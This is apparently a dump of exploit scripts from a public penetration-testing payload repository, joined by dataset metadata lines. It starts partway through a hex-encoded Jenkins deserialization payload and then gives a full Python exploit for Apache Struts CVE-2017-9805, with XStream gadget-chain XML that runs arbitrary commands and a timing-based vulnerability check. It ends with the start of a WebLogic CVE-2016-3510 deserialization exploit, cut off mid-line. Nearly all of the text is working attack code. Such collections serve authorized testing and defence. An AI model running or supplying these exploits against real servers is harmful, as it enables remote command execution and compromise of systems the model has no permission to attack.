00\x00\x00\x89\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x74\x00\x04\x77\x72\x61\x70\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x6a\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x06\x65\x78\x70\x6f\x72\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x02\xa6\x74\x00\x21\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x74\x00\x16\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x4a\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x46\x71\x00\x7e\x00\x1d\x71\x00\x7e\x00\x1e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x22\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x26\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x71\x00\x7e\x00\x28\x70\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x2b\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x71\x00\x7e\x00\x30\x71\x00\x7e\x00\x31\x71\x00\x7e\x00\x32\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x34\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x36\x71\x00\x7e\x00\x3a\x78\x78\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x07\x46\xac\xed\x00\x05\x73\x72\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\x49\x00\x03\x6f\x69\x64\x5b\x00\x09\x61\x72\x67\x75\x6d\x65\x6e\x74\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x05\x74\x79\x70\x65\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x77\x08\xff\xff\xff\xfe\x00\x00\x00\x02\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x77\x04\x00\x00\x00\x00\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x02\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x0b\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x02\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x39\x74\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xf6\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x71\x00\x7e\x00\x1e\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x39\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x70\x00\x00\x00\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x18\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x6c\x69\x45\x6e\x74\x72\x79\x50\x6f\x69\x6e\x74\x71\x00\x7e\x00\x24\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x74\x00\x1d\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x28\x31\x2c\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x29' sock.send(payload) print('[+] Sent payload')
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Apache Struts 2 CVE-2017-9805.py
CVE Exploits/Apache Struts 2 CVE-2017-9805.py
#!/usr/bin/env python3 # coding=utf-8 # ***************************************************** # struts-pwn: Apache Struts CVE-2017-9805 Exploit # Author: # Mazin Ahmed <Mazin AT MazinAhmed DOT net> # This code is based on: # https://github.com/rapid7/metasploit-framework/pull/8924 # https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/ # ***************************************************** from __future__ import print_function from builtins import str import argparse import requests import sys # Disable SSL warnings try: import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() except Exception: pass if len(sys.argv) <= 1: print('[*] CVE: 2017-9805 - Apache Struts2 S2-052') print('[*] Struts-PWN - @mazen160') print('\n%s -h for help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="Check a single URL.", action='store') parser.add_argument("-l", "--list", dest="usedlist", help="Check a list of URLs.", action='store') parser.add_argument("-c", "--cmd", dest="cmd", help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')", action='store', default='echo test > /tmp/struts-pwn') parser.add_argument("--exploit", dest="do_exploit", help="Exploit.", action='store_true') args = parser.parse_args() url = args.url if args.url else None usedlist = args.usedlist if args.usedlist else None url = args.url if args.url else None cmd = args.cmd if args.cmd else None do_exploit = args.do_exploit if args.do_exploit else None def url_prepare(url): url = url.replace('#', '%23') url = url.replace(' ', '%20') if ('://' not in url): url = str('http') + str('://') + str(url) return(url) def exploit(url, cmd, dont_print_status_on_console=False): url = url_prepare(url) if dont_print_status_on_console is False: print('\n[*] URL: %s' % (url)) print('[*] CMD: %s' % (cmd)) cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")]) payload = """ <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> {0} </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> """.format(cmd) headers = { 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Referer': str(url), 'Content-Type': 'application/xml', 'Accept': '*/*' } timeout = 3 try: output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text except Exception as e: print("EXCEPTION::::--> " + str(e)) output = 'ERROR' return(output) def check(url): url = url_prepare(url) print('\n[*] URL: %s' % (url)) initial_request = exploit(url, "", dont_print_status_on_console=True) if initial_request == "ERROR": result = False print("The host does not respond as expected.") return(result) payload_sleep_based_10seconds = """ <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5 bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94 c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7 KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ </byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2 YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA AAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> <name>newTransformer</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> """ headers = { 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Referer': str(url), 'Content-Type': 'application/xml', 'Accept': '*/*' } timeout = 8 try: requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False) # if the response returned before the request timeout. # then, the host should not be vulnerable. # The request should return > 10 seconds, while the timeout is 8. result = False except Exception: result = True return(result) def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): if url: if not do_exploit: result = check(url) output = '[*] Status: ' if result is True: output += 'Vulnerable!' else: output += 'Not Affected.' print(output) else: exploit(url, cmd) print("[$] Request sent.") print("[.] If the host is vulnerable, the command will be executed in the background.") if usedlist: URLs_List = [] try: f_file = open(str(usedlist), 'r') URLs_List = f_file.read().replace('\r', '').split('\n') try: URLs_List.remove('') except ValueError: pass f_file.close() except Exception as e: print('Error: There was an error in reading list file.') print("Exception: " + str(e)) exit(1) for url in URLs_List: if not do_exploit: result = check(url) output = '[*] Status: ' if result is True: output += 'Vulnerable!' else: output += 'Not Affected.' print(output) else: exploit(url, cmd) print("[$] Request sent.") print("[.] If the host is vulnerable, the command will be executed in the background.") print('[%] Done.') if __name__ == '__main__': try: main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) except KeyboardInterrupt: print('\nKeyboardInterrupt Detected.') print('Exiting...') exit(0)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebLogic CVE-2016-3510.py
CVE Exploits/WebLogic CVE-2016-3510.py
#!/usr/bin/env python2 #Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r from __future__ import print_function import socket import struct import argparse import os import sys from subprocess import check_output ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar'] ysoserial_path = None parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP:PORT') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if not args.ysoserial_path: for path in ysoserial_default_paths: if os.path.exists(path): ysoserial_path = path else: if os.path.exists(args.ysoserial_path): ysoserial_path = args.ysoserial_path if len(args.target.split(':')) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('[*] Target IP: {}'.format(ip)) print('[*] Target PORT: {}'.format(port)) sock.connect((ip, int(port))) # Send headers headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' print('[*] Sending header') sock.sendall(headers) data = sock.recv(1024) print('[*] Received: "{}"'.format(data)) payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) payload = 